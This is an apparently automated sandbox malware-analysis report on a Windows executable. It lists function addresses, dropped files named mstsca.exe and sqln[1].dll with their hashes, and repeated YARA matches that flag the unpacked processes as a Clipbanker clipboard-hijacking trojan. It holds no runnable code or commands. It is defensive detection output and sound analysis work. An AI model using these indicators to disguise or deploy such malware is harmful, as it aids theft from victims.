Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00406740	2_2_00406740
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00402750	2_2_00402750
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040A710	2_2_0040A710
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00408780	2_2_00408780
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0042C804	2_2_0042C804
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00406880	2_2_00406880
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_004349F3	2_2_004349F3
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_004069F3	2_2_004069F3
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00402B80	2_2_00402B80
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00406B80	2_2_00406B80
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0044ACFF	2_2_0044ACFF
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0042CE51	2_2_0042CE51
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00434E0B	2_2_00434E0B
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00406EE0	2_2_00406EE0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00420F30	2_2_00420F30
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00405057	2_2_00405057
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0042F010	2_2_0042F010
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_004070E0	2_2_004070E0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_004391F6	2_2_004391F6
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00435240	2_2_00435240
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_004C9343	2_2_004C9343
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00405447	2_2_00405447
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00405457	2_2_00405457
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00449506	2_2_00449506
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0044B5B1	2_2_0044B5B1
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00435675	2_2_00435675
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00409686	2_2_00409686
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040F730	2_2_0040F730
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0044D7A1	2_2_0044D7A1
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00481920	2_2_00481920
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0044D9DC	2_2_0044D9DC
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00449A71	2_2_00449A71
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00443B40	2_2_00443B40
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00409CF9	2_2_00409CF9
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040DD40	2_2_0040DD40
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00427D6C	2_2_00427D6C
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040BDC0	2_2_0040BDC0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00409DFA	2_2_00409DFA
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00409F76	2_2_00409F76
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0046BFE0	2_2_0046BFE0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00449FE3	2_2_00449FE3
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E53520	5_2_05E53520
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E57520	5_2_05E57520
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E7D7F1	5_2_05E7D7F1
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E5A79A	5_2_05E5A79A
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E5C760	5_2_05E5C760
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E5E6E0	5_2_05E5E6E0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E9B69F	5_2_05E9B69F
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E5A699	5_2_05E5A699
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E7D1A4	5_2_05E7D1A4
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E9E141	5_2_05E9E141
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E59120	5_2_05E59120
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E570E0	5_2_05E570E0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E530F0	5_2_05E530F0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E600D0	5_2_05E600D0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E5B0B0	5_2_05E5B0B0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E5A026	5_2_05E5A026
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E6F030	5_2_05E6F030
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E5B000	5_2_05E5B000
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E57393	5_2_05E57393
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E9E37C	5_2_05E9E37C
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05ED22C0	5_2_05ED22C0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E57220	5_2_05E57220
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E55DE7	5_2_05E55DE7
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E55DF7	5_2_05E55DF7
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E92D1E	5_2_05E92D1E
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E84E9F	5_2_05E84E9F
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E58E60	5_2_05E58E60
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E559F7	5_2_05E559F7
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E589D0	5_2_05E589D0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E7E9A3	5_2_05E7E9A3
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E7F9B0	5_2_05E7F9B0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E6A930	5_2_05E6A930
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E5A916	5_2_05E5A916
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E718D0	5_2_05E718D0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E57880	5_2_05E57880
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E5DBE0	5_2_05E5DBE0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E52B60	5_2_05E52B60
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E60B00	5_2_05E60B00
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E57A80	5_2_05E57A80
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E5CA10	5_2_05E5CA10
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0042E003	6_2_0042E003
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040D240	6_2_0040D240
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0041E690	6_2_0041E690
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040F730	6_2_0040F730
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00481920	6_2_00481920
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00419F90	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050D050	6_2_0050D050
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00405057	6_2_00405057
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040C070	6_2_0040C070
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0042F010	6_2_0042F010
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050D008	6_2_0050D008
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00408030	6_2_00408030
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050D028	6_2_0050D028
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_004070E0	6_2_004070E0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050D090	6_2_0050D090
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050D0A8	6_2_0050D0A8
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00410160	6_2_00410160
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_004C8113	6_2_004C8113
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_004021C0	6_2_004021C0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_004C9343	6_2_004C9343
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0044237E	6_2_0044237E
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00405447	6_2_00405447
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00405457	6_2_00405457
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_004084C0	6_2_004084C0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050C4E0	6_2_0050C4E0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_004344FF	6_2_004344FF
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00449506	6_2_00449506
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0043E5A3	6_2_0043E5A3
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0044B5B1	6_2_0044B5B1
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040A660	6_2_0040A660
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00409686	6_2_00409686
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00406740	6_2_00406740
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00402750	6_2_00402750
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040A710	6_2_0040A710
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00408780	6_2_00408780
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0044D7A1	6_2_0044D7A1
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0042C804	6_2_0042C804
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00406880	6_2_00406880
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050C960	6_2_0050C960
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050C928	6_2_0050C928
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0044D9DC	6_2_0044D9DC
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_004069F3	6_2_004069F3
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050C988	6_2_0050C988
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050C9A8	6_2_0050C9A8
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00449A71	6_2_00449A71
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00443B40	6_2_00443B40
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050CB78	6_2_0050CB78
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00402B80	6_2_00402B80
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00406B80	6_2_00406B80
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00409CF9	6_2_00409CF9
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0044ACFF	6_2_0044ACFF
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040DD40	6_2_0040DD40
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00427D6C	6_2_00427D6C
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050CD60	6_2_0050CD60
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040BDC0	6_2_0040BDC0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050CDF0	6_2_0050CDF0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00409DFA	6_2_00409DFA
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050CE58	6_2_0050CE58
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0042CE51	6_2_0042CE51
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00406EE0	6_2_00406EE0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00409F76	6_2_00409F76
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00420F30	6_2_00420F30
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050CF28	6_2_0050CF28
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050CFC0	6_2_0050CFC0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00449FE3	6_2_00449FE3
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050CF90	6_2_0050CF90

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\sqln[1].dll 036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 05DC0160 appears 50 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 00428C81 appears 79 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 00420EC2 appears 40 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 05DB8EC0 appears 57 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 004547A0 appears 108 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 00422587 appears 48 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 05E80160 appears 50 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 05E78EC0 appears 57 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 0042F7C0 appears 174 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 0044F23E appears 108 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 00428520 appears 144 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 00425007 appears 32 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 00450870 appears 52 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 00454E50 appears 78 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 00441A25 appears 44 times
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: String function: 0044F26C appears 41 times

Source: rq0mVjR9ar.exe, 00000000.00000002.2066693183.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs rq0mVjR9ar.exe
Source: rq0mVjR9ar.exe, 00000002.00000000.2064315643.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs rq0mVjR9ar.exe
Source: rq0mVjR9ar.exe, 00000002.00000003.2085644522.00000000030B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFires( vs rq0mVjR9ar.exe
Source: rq0mVjR9ar.exe, 00000005.00000000.2090112544.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs rq0mVjR9ar.exe
Source: rq0mVjR9ar.exe, 00000006.00000000.2093153876.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs rq0mVjR9ar.exe
Source: rq0mVjR9ar.exe, 00000007.00000002.2113308961.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs rq0mVjR9ar.exe
Source: rq0mVjR9ar.exe, 00000008.00000000.2110206889.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs rq0mVjR9ar.exe
Source: rq0mVjR9ar.exe, 0000000C.00000000.2221658091.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs rq0mVjR9ar.exe
Source: rq0mVjR9ar.exe, 0000000E.00000000.2233886370.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs rq0mVjR9ar.exe
Source: rq0mVjR9ar.exe, 00000018.00000002.2488922255.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs rq0mVjR9ar.exe

Source: rq0mVjR9ar.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 26.2.mstsca.exe.8515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.8515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.8515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.8515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 27.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 27.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 27.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 27.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
